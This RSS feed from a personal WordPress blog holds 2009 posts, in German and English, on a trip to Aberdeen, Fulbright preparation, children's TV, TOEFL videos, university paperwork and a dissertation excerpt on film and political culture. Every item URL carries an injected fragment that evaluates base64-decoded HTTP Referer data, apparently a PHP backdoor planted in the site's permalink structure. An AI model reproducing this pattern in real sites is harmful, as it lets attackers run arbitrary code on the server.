<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tales of a Clown &#187; Wissenschaft</title>
	<atom:link href="http://irenezavarsky.net/category/wissenschaft/feed/" rel="self" type="application/rss+xml" />
	<link>http://irenezavarsky.net</link>
	<description>...about Life, the Universe and Everything</description>
	<lastBuildDate>Sun, 23 Oct 2011 22:12:47 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Impressions from Scotland</title>
		<link>http://irenezavarsky.net/2009/06/29/impressions-from-scotland/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://irenezavarsky.net/2009/06/29/impressions-from-scotland/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 15:08:00 +0000</pubDate>
		<dc:creator>iza</dc:creator>
				<category><![CDATA[Wissenschaft]]></category>
		<category><![CDATA[Aberdeen]]></category>
		<category><![CDATA[Impressions]]></category>
		<category><![CDATA[Konferenz]]></category>
		<category><![CDATA[Politics and Identity]]></category>
		<category><![CDATA[Schottland]]></category>

		<guid isPermaLink="false">http://irenezavarsky.net/?p=657</guid>
		<description><![CDATA[And, yes! I did attend the Conference as well! There was just no reason to take pictures of the talks that were held there!]]></description>
			<content:encoded><![CDATA[<p><a href="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2132.JPG"><img class="size-thumbnail wp-image-658 alignleft" title="Seaton Park" src="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2132-150x150.jpg" alt="Seaton Park" width="150" height="150" /></a><a href="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2140.JPG"><img class="alignleft size-thumbnail wp-image-659" title="Summer Sunset" src="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2140-150x150.jpg" alt="Summer Sunset" width="150" height="150" /></a><a href="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2145.JPG"><img class="size-thumbnail wp-image-660 alignnone" title="Elphinstone Hall at Aberdeen University" src="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2145-150x150.jpg" alt="Elphinstone Hall at Aberdeen University" width="150" height="150" /></a><a href="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2170.JPG"><img class="alignleft size-thumbnail wp-image-661" title="Devilish Pub (in a former Church)" src="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2170-150x150.jpg" alt="Devilish Pub (in a former Church)" width="150" height="150" /></a><a href="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2191.JPG"><img class="alignleft size-thumbnail wp-image-662" title="Stone Heart in a Cementry" src="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2191-150x150.jpg" alt="Stone Heart in a Cementry" width="150" height="150" /></a><a href="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_21921.JPG"><img class="alignnone size-thumbnail wp-image-675" title="Little wild Rabbit" src="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_21921-150x150.jpg" alt="Little wild Rabbit" width="150" height="150" /></a><a href="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2213.JPG"></a><a href="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_21951.JPG"><img class="alignleft size-thumbnail wp-image-678" title="On the way to the beach" src="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_21951-150x150.jpg" alt="On the way to the beach" width="150" height="150" /></a><a href="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2204.JPG"><img class="alignleft size-thumbnail wp-image-665" title="Aberdeen Beach" src="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2204-150x150.jpg" alt="Aberdeen Beach" width="150" height="150" /></a><a href="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2213.JPG"><img class="size-thumbnail wp-image-666 alignnone" title="Church (for real! No devilish pub hidden in this one!)" src="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2213-150x150.jpg" alt="Church (for real! No devilish pub hidden in this one!)" width="150" height="150" /></a><a href="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2219.JPG"><img class="alignleft size-thumbnail wp-image-667" title="Beach View" src="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2219-150x150.jpg" alt="Beach View" width="150" height="150" /></a><a href="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2232.JPG"><img class="alignleft size-thumbnail wp-image-668" title="Low Tide" src="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2232-150x150.jpg" alt="Low Tide" width="150" height="150" /></a><a href="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2247.JPG"><img class="alignnone size-thumbnail wp-image-669" title="Low Tide, Ship coming in" src="http://irenezavarsky.net/wp-content/uploads/2009/06/IMG_2247-150x150.jpg" alt="Low Tide, Ship coming in" width="150" height="150" /></a></p>
<p>And, yes! I did attend the Conference as well! There was just no reason to take pictures of the talks that were held there!</p>
]]></content:encoded>
			<wfw:commentRss>http://irenezavarsky.net/2009/06/29/impressions-from-scotland/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Crazy for you&#8230;</title>
		<link>http://irenezavarsky.net/2009/06/04/crazy-for-you/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://irenezavarsky.net/2009/06/04/crazy-for-you/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 04 Jun 2009 22:46:57 +0000</pubDate>
		<dc:creator>iza</dc:creator>
				<category><![CDATA[Wissenschaft]]></category>
		<category><![CDATA[Dackel]]></category>
		<category><![CDATA[Hasselhoff]]></category>
		<category><![CDATA[Musik]]></category>

		<guid isPermaLink="false">http://irenezavarsky.net/?p=653</guid>
		<description><![CDATA[Really. What does he MEAN? Who is he crazy for? The open road? The wind in his hair? His motorbike? The cool leather jacket he is wearing? In younger years I always thought he is singing about a woman. But he is defenitely not. This is no love story. At the end we get a [...]]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="344" data="http://www.youtube.com/v/7vNsDhFaKUk&amp;hl=de&amp;fs=1&amp;" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/7vNsDhFaKUk&amp;hl=de&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /></object></p>
<p>Really. What does he MEAN? Who is he crazy for? The open road? The wind in his hair? His motorbike? The cool leather jacket he is wearing?</p>
<p>In younger years I always thought he is singing about a woman. But he is defenitely not. This is no love story.</p>
<p>At the end we get a hint: He might be crazy about a little fat german Dackel.</p>
<p>&#8230;?</p>
<p>A mystery unsolved. Probably a new scientific topic I might work on. Suggestions welcome!</p>
]]></content:encoded>
			<wfw:commentRss>http://irenezavarsky.net/2009/06/04/crazy-for-you/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Before You Go, You Should Know</title>
		<link>http://irenezavarsky.net/2009/06/02/before-you-go-you-should-know/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://irenezavarsky.net/2009/06/02/before-you-go-you-should-know/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 02 Jun 2009 18:59:04 +0000</pubDate>
		<dc:creator>iza</dc:creator>
				<category><![CDATA[Theater]]></category>
		<category><![CDATA[Wissenschaft]]></category>
		<category><![CDATA[Fortsetzungsgeschichte]]></category>
		<category><![CDATA[Fulbright]]></category>
		<category><![CDATA[USA]]></category>
		<category><![CDATA[Vorbereitung]]></category>

		<guid isPermaLink="false">http://irenezavarsky.net/?p=641</guid>
		<description><![CDATA[Ein spannender Fortsetzungsroman ist in meinen virtuellen Postkasten geflattert. &#8220;Welcome again to the FLTA program.  We are excited to have such a bright, motivated group coming to institutions all across the United States this year.  In order to help you prepare for your 9 months in the U.S., we’ve put together a series of emails [...]]]></description>
			<content:encoded><![CDATA[<p>Ein spannender Fortsetzungsroman ist in meinen virtuellen Postkasten geflattert.</p>
<blockquote><p>&#8220;Welcome again to the FLTA program.  We are excited to have such a bright, motivated group coming to institutions all across the United States this year.  In order to help you prepare for your 9 months in the U.S., we’ve put together a series of emails to guide you through the preparation process for the FLTA program.&#8221;</p></blockquote>
<p>Sieben Wochen sind noch Zeit bevor ich fliege (ca.) und bis dahin bekomme ich jede Woche ein Email zu einem spannenden Thema. Damit ich mich besser vorbereiten kann auf die USA. So gut bin ich, glaub ich, noch nie auf etwas vorbereitet worden. Allein schon wieviele &#8220;Welcome&#8221; und &#8220;Orientation&#8221; Emails ich von meiner neuen Uni bekommen habe&#8230;. So viel Emails hab ich von der Uni Wien mein Lebtag nicht gekriegt.</p>
<p>Ok, das stimmt jetzt nicht. Die Qualitätssicherung hat mir zum erfolgreichen Abschluss meines Studiums gratuliert und mich gebeten, den AbsolventInnenfragebogen auszufüllen und die UB schickt mir manchmal Emails um mich zu erinnern, dass ich noch Bücher zurückgeben muss.</p>
<blockquote><p>&#8220;You will receive one email a week of the “Before You Go, You Should Know” series over the course of the following seven weeks.  Each email will address a different topic for you to research and make preparations for. The goal is to ease the adjustment process and align your expectations with what will greet you upon arrival at your host institution.&#8221;</p></blockquote>
<p>Topics covered over the series will include:</p>
<ul>
<li>What to research about your host institution</li>
<li>What to research about your city, state and region of the U.S.</li>
<li>Public transportation</li>
<li>Housing</li>
<li>Travel</li>
<li>Health</li>
<li>Insurance</li>
<li>Food</li>
<li>Money/budgeting</li>
<li>Culture shock</li>
<li>Homesickness</li>
<li>Time management</li>
<li>Stress management</li>
<li>Relationships in the U.S.</li>
</ul>
<p>Rundum gut betreut, an alle Eventualitäten gedacht. Besonders gespannt bin ich auf den &#8220;Relationships in the US&#8221; Teil. Natürlich. I´ll keep you updated!</p>
]]></content:encoded>
			<wfw:commentRss>http://irenezavarsky.net/2009/06/02/before-you-go-you-should-know/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wer erinnert sich an die Quietschboys?</title>
		<link>http://irenezavarsky.net/2009/05/03/wer-erinnert-sich-an-die-quietschboys/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://irenezavarsky.net/2009/05/03/wer-erinnert-sich-an-die-quietschboys/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 02 May 2009 23:45:48 +0000</pubDate>
		<dc:creator>iza</dc:creator>
				<category><![CDATA[Training]]></category>
		<category><![CDATA[Wissenschaft]]></category>
		<category><![CDATA[Fernsehen]]></category>
		<category><![CDATA[Hallo Spencer]]></category>
		<category><![CDATA[Kindersendung]]></category>
		<category><![CDATA[Quietschboys]]></category>

		<guid isPermaLink="false">http://irenezavarsky.net/?p=631</guid>
		<description><![CDATA[An Poldi &#8220;ich will dir fressen&#8221; und die Jungdrachenschule, den neunmalklugen Spencer mit seinem Assistenten Elvis (der mit Lulu zusammen ist), die Zwillinge Mona und Lisa, den grießgrämigen Schlossherren Nepumuk (der immer böse wird, wenn man &#8220;Nepi&#8221; sagt), Lexi den Bücherwurm und Kasi, der immer von allen um alles geschickt wird&#8230; ja. Auch an Galakika, [...]]]></description>
			<content:encoded><![CDATA[<p>An Poldi &#8220;ich will dir fressen&#8221; und die Jungdrachenschule, den neunmalklugen Spencer mit seinem Assistenten Elvis (der mit Lulu zusammen ist), die Zwillinge Mona und Lisa, den grießgrämigen Schlossherren Nepumuk (der immer böse wird, wenn man &#8220;Nepi&#8221; sagt), Lexi den Bücherwurm und Kasi, der immer von allen um alles geschickt wird&#8230; ja. Auch an Galakika, die man immer mit einem Reim rufen muss, sonst kommt sie nicht. Auch die ist uns aus dieser &#8220;Kinderserien mit pädagogischem Hintergrund&#8221; ein Begriff. Die pädagogischen Hintergründe sind mir zwar, ich sags ehrlich, entgangen, das heißt aber nicht, dass sie nicht trotzdem da sein können. Ich seh sie nur nicht.</p>
<p>Einzig, die Quietschboys, das Hippie-Grunch-Trio, das den ganzen Tag nur Musik macht. An die konnte ich mich wirklich nicht mehr erinnern. Großartig hier in diesem Aufritt vor Nepis Schloss. Er sammelt Sperrmüll und wundert sich, dass sein Sperrmüll singt, bis er merkt, dass es sich um die Quietschboys handelt.</p>
<p><object width="425" height="344" data="http://www.youtube.com/v/X5JH7fJ7H48&amp;hl=de&amp;fs=1" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/X5JH7fJ7H48&amp;hl=de&amp;fs=1" /><param name="allowfullscreen" value="true" /></object></p>
<p>&#8220;Das waren meine wertvollsten Kronenkorken&#8221;. Nepi ist super. Auch die Tatsache, dass Mona und Lisa nicht lesen könne ist eine sehr gesellschaftskritische Aussage. Aber pusten hilft. Notfalls.</p>
<p><strong>Disclaimer</strong>: Man beachte auch die schwarz-teuflische Gestalt, die eines der wertvollen Gummibärchen stiehlt. Kinder, die spielt im Verlauf der Geschichte noch eine bedeutende Rolle!</p>
]]></content:encoded>
			<wfw:commentRss>http://irenezavarsky.net/2009/05/03/wer-erinnert-sich-an-die-quietschboys/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Catelephant</title>
		<link>http://irenezavarsky.net/2009/05/02/catelephant/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://irenezavarsky.net/2009/05/02/catelephant/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 02 May 2009 15:36:36 +0000</pubDate>
		<dc:creator>iza</dc:creator>
				<category><![CDATA[Wissenschaft]]></category>
		<category><![CDATA[autodidaktisches Lernen]]></category>
		<category><![CDATA[Funny]]></category>
		<category><![CDATA[TOEFL]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://irenezavarsky.net/?p=629</guid>
		<description><![CDATA[Youtube ist mittlerweile zu einer der größten Lernplattformen geworden. Jedes Uni-Blackboard-Vista-Fronter-Whatever-System kann dagegen nur verlieren. Egal ob Lauftechnik,  Gitarre, Disco-Roller, Krochn, Jodeln, Klavierspielen&#8230; auf youtube gibt es ein Lernvideo dazu. Autdidaktisch kann man sich aneignen was das Herz begehrt. Auch Lergruppen und Prüfungsvorbereitungen finden mittlerweile auf Youtube ihren eigenen Channel. So auch der TOEFL-Test of [...]]]></description>
			<content:encoded><![CDATA[<p>Youtube ist mittlerweile zu einer der größten Lernplattformen geworden. Jedes Uni-Blackboard-Vista-Fronter-Whatever-System kann dagegen nur verlieren. Egal ob Lauftechnik,  Gitarre, Disco-Roller, Krochn, Jodeln, Klavierspielen&#8230; auf youtube gibt es ein Lernvideo dazu. Autdidaktisch kann man sich aneignen was das Herz begehrt.</p>
<p>Auch Lergruppen und Prüfungsvorbereitungen finden mittlerweile auf Youtube ihren eigenen Channel. So auch der TOEFL-Test of English as a Foreign Language. <a href="http://www.youtube.com/TOEFLtv">TOEFL.TV </a>nennt sich der Kanal und neben Erlebnisberichten von English native and unnative Speakers gibts Videos zur Prüfungsvorbereitung. Zum Beispiel das Speaking Warm Up von Bill Acton.<br />
<object width="425" height="344" data="http://www.youtube.com/v/3jokYm2eemA&amp;hl=de&amp;fs=1" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/3jokYm2eemA&amp;hl=de&amp;fs=1" /><param name="allowfullscreen" value="true" /></object></p>
<p>In Zukunft werden wohl im Toefl Test Center Leut rumstehen die aussehen, als würden sie für die Rolle des Elektroshock Opfers in einer Knight Rider Folge vorsprechen, oder als Betrunkener am Pier in Baywatch gekastet werden wollen.</p>
<p>Gut, dass ich das vor meinem Test nicht gesehen hab. Ich hätt mir nicht verkneifen können auszuprobieren obs hilft ;)</p>
]]></content:encoded>
			<wfw:commentRss>http://irenezavarsky.net/2009/05/02/catelephant/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Preparation</title>
		<link>http://irenezavarsky.net/2009/04/28/preparations/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://irenezavarsky.net/2009/04/28/preparations/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 28 Apr 2009 22:05:02 +0000</pubDate>
		<dc:creator>iza</dc:creator>
				<category><![CDATA[Wissenschaft]]></category>
		<category><![CDATA[Dissertation]]></category>
		<category><![CDATA[Monkey Island]]></category>
		<category><![CDATA[Piraten]]></category>
		<category><![CDATA[Playmobil]]></category>
		<category><![CDATA[Universität]]></category>

		<guid isPermaLink="false">http://irenezavarsky.net/?p=612</guid>
		<description><![CDATA[Featuring die gute alte Monkey-Island-Sword-Fight Tradition. Thanx pe!]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://irenezavarsky.net/wp-content/uploads/2009/04/img_2110.jpg"><img class="size-medium wp-image-613 aligncenter" title="Playmobil" src="http://irenezavarsky.net/wp-content/uploads/2009/04/img_2110-300x225.jpg" alt="Playmobil" width="300" height="225" /></a></p>
<p>Featuring die gute alte <a href="http://www.gamefaqs.com/computer/doswin/file/562681/7619">Monkey-Island-Sword-Fight Tradition</a>.</p>
<p>Thanx <a href="http://picturing-pe.blogspot.com/">pe!</a></p>
]]></content:encoded>
			<wfw:commentRss>http://irenezavarsky.net/2009/04/28/preparations/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Einen Antrag auf Erteilung eines Antragsformulars</title>
		<link>http://irenezavarsky.net/2009/04/06/einen-antrag-auf-erteilung-eines-antragsformulars/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://irenezavarsky.net/2009/04/06/einen-antrag-auf-erteilung-eines-antragsformulars/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 06 Apr 2009 10:44:00 +0000</pubDate>
		<dc:creator>iza</dc:creator>
				<category><![CDATA[Wissenschaft]]></category>
		<category><![CDATA[Formluare]]></category>
		<category><![CDATA[freaky]]></category>
		<category><![CDATA[Universität]]></category>

		<guid isPermaLink="false">http://irenezavarsky.net/?p=596</guid>
		<description><![CDATA[Kurzes Gespräch in der Quästur der Uni Wien: Lady behind the Counter: Warum hams denn nicht das &#8220;Reisekostenrückerstattungsformular für externe Vortragende&#8221; FN437_B verwendet? Wir brauchen da ja eine Unterschrift! Me: Ähm. Die Unterschrift ist eh da auch drauf&#8230;. Lady behind the Counter: Ja, aber da gibts jetzt ein Fomular dafür! Me: Aha. Wir haben das [...]]]></description>
			<content:encoded><![CDATA[<p>Kurzes Gespräch in der Quästur der Uni Wien:</p>
<p><strong>Lady behind the Counter</strong>: Warum hams denn nicht das &#8220;Reisekostenrückerstattungsformular für externe Vortragende&#8221; FN437_B verwendet? Wir brauchen da ja eine Unterschrift!</p>
<p><strong>Me</strong>: Ähm. Die Unterschrift ist eh da auch drauf&#8230;.</p>
<p><strong>Lady behind the Counter</strong>: Ja, aber da gibts jetzt ein Fomular dafür!</p>
<p><strong>Me</strong>: Aha. Wir haben das bis jetzt immer so gemacht. Seit wann gibts denn das Formular?</p>
<p><strong>Lady behind the Counter</strong>: Seit gestern! Ist eh auf unserer Homepage.</p>
<p>Me: &#8230;.</p>
<p><strong>Lady behind the Counter</strong> (schnappt sich meine Zettel, kritzelt ihre Unterschrift drunter): Na ausnahmsweise nehm ichs noch mal so. Aber das nächste Mal verwendens das Formular!</p>
<p>Geht ab.</p>
<p>***</p>
<p>Stupid me&#8230;, hu, how come I did not surf the <a href="http://finanzwesen.univie.ac.at/">Webpage</a> of the Quästur more frequently&#8230;?!</p>
]]></content:encoded>
			<wfw:commentRss>http://irenezavarsky.net/2009/04/06/einen-antrag-auf-erteilung-eines-antragsformulars/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Politikwissenschaftliche Relevanz (II) &#8230;</title>
		<link>http://irenezavarsky.net/2009/03/31/politikwissenschaftliche-relevanz-ii/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://irenezavarsky.net/2009/03/31/politikwissenschaftliche-relevanz-ii/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 21:18:31 +0000</pubDate>
		<dc:creator>iza</dc:creator>
				<category><![CDATA[Wissenschaft]]></category>
		<category><![CDATA[Dissertation]]></category>
		<category><![CDATA[Filmanalyse]]></category>
		<category><![CDATA[Piraten]]></category>
		<category><![CDATA[Politikwissenschaft]]></category>
		<category><![CDATA[Universität]]></category>

		<guid isPermaLink="false">http://irenezavarsky.net/?p=588</guid>
		<description><![CDATA[&#8230;von Filmanalyse Die im vorigen Kapitel angesprochen Zusammenhänge zwischen realen Ereignissen und filmischen Darstellungen lassen sich als Ausdruck politischer Kultur verstehen. Dörner (2006) definiert politische Kulturforschung als ein „intersubjektives Phänomen“. Er meint, es handelt sich nicht um eine individuelle Interpretation von Realität, sondern um „eine Größe, die man mit anderen teilt“ (Dörner 2006; 591), die [...]]]></description>
			<content:encoded><![CDATA[<p>&#8230;von Filmanalyse</p>
<p>Die im vorigen Kapitel angesprochen Zusammenhänge zwischen realen Ereignissen und filmischen Darstellungen lassen sich als Ausdruck politischer Kultur verstehen. Dörner (2006) definiert politische Kulturforschung als ein „intersubjektives Phänomen“. Er meint, es handelt sich nicht um eine individuelle Interpretation von Realität, sondern um „eine Größe, die man mit anderen teilt“ (Dörner 2006; 591), die dadurch gesellschaftspolitische Relevanz bekommt. Politische Kulturforschung nimmt sich der „Konstruktionen erste Ordnung“, die im Alltagsverständnis von Menschen entstehen, an und entwickelt „Konstruktionen zweiter Ordnung“, die auf wissenschaftlichen Analyse fußen.  Dörner beschreibt diesen Prozess, nach Alfred Schütz, wie folgt:</p>
<ol>
<li> „Politische Kultur besteht aus „Konstruktionen erster Ordnung“, aus den Wahrnehmungen und Deutungen, die Menschen entwickeln, um sich in ihrer politischen Alltagswelt zu orientieren und sinnhaft zu handeln.  Diese Wahrnehmungen und Deutungen sind in hohem Maß tradiert, der einzelne Akteur findet sie als kulturelle Gegebenheit vor und eignet sie sich in je spezifischer Brechung im Verlauf langfristiger Sozialisationsprozesse an.</li>
<li>Die Politische Kulturforschung entwickelt „Konstruktionen zweiter Ordnung“, d.h. Begriffe, Theorien, Forschungskonzepte, um diese deutende Alltagspraxis der Menschen zu rekonstruieren und als seinerseits wirksamen Faktor politischer Realität zu beschreiben.</li>
</ol>
<p>Politische Kulturforschung beschäftigt sich also konkret mit Wahrnehmungs- und Deutungsmustern, mit Erwartungshaltungen, Werten und Normen, mit Einstellungen und Vorstellungen, Wissensbeständen und Identitäten, Gefühlen und Normalitätsstandards, die das politische Alltagsleben in einer Gesellschaft oder in einem Teil derselben prägen.“ (Dörner 2006; 591f)</p>
<p>Die Wahrnehmungs- und Deutungsmuster, Werte und Normen, mit denen sich die Kulturforschung beschäftigt, werden in zunehmendem Maß auch in populären Medien gesucht und gefunden. Populäre Kultur rückt in den Fokus, nicht nur der Cultural Studies, sondern auch der politischen Kulturforschung (vgl. Spitaler 2005; 26). In diesem Verständnis sind auch populäre Filme, Produktionen, die scheinbar nur der oberflächlichen Unterhaltung dienen, Kampfplatz um Macht- und Herrschaftsverhältnisse in einer Gesellschaft. Die Cultural Studies sprechen in diesem Zusammenhang von &#8220;signifikanten Praktiken&#8221; oder &#8220;kulturellen Produkten&#8221; (Texte, Filme, Kleidung, Fotographien, Gesten, etc.), die Interpretationsmaterial für das Verstehen von Gesellschaften bieten und gleichzeitig Ausdruck der Macht- und Herrschaftsverhältnisse einer Gesellschaft sind (vgl. Turner 1996, 16).</p>
<p>Ein besonders plastisches Beispiel für diese Auseinandersetzung in Bezug auf Film und Gesellschaft stellt der Hays Code (oder Production Code) dar. Der Production Code legte die moralischen Richtlinien dafür fest, was der amerikanischen Öffentlichkeit im Film zugemutet werden konnte. Er wurde von Will H. Hays, damals Vorsitzender der Motion Pictures Producers and Distributors Associataion (seit 1945 die Motion Picture Association of America), eingeführt und deshalb auch kurz Hays Code genannt. Der Code wurde 1931 als Reaktion auf die aufsteigende Bedeutung der Filmindustrie aufgesetzt, hatte allerdings zunächst wenig Griffigkeit. Erst 1934 wurde die Production Code Administration gegründet, ein Büro, das von nun an jeden Film, der herausgegeben wurde, anhand der Richtlinien des Production Codes prüfte und beurteilte. Filme, die nicht freigegeben werden konnten, durften nicht ins Kino gebracht werden. Die Auseinandersetzung um Herrschaftsansprüche findet hier gleich auf unterschiedlichen Ebenen statt: zum Einen auf der Ebne von politischen Gesetzen und Richtlinien die mit HIlfe eines administrativen Apparates umgesetzt wurden, auf der anderen Seite auf der Ebene der politischen Kultur, in dem die Richtlinien von den PrduzentInnen selbst befolgt wurden. Eine derart augenscheinliche Verknüpfung zwischen politischen Absichten und Filminhalten gibt es sonst nur im Bereich der dezitiert politischen Propagandafilme (vgl. Mayrhofer 2007; 26f).</p>
<blockquote><p>„Der Film als Kunstwerk deutet auf ökonomische, politische und gesellschaftliche Dimensionen hin, die im Film ihren Ausdruck finden und ohne deren Berücksichtigung der Film nicht adäquat analysiert werden kann.“ (Mayrhofer 2007; 28f).</p></blockquote>
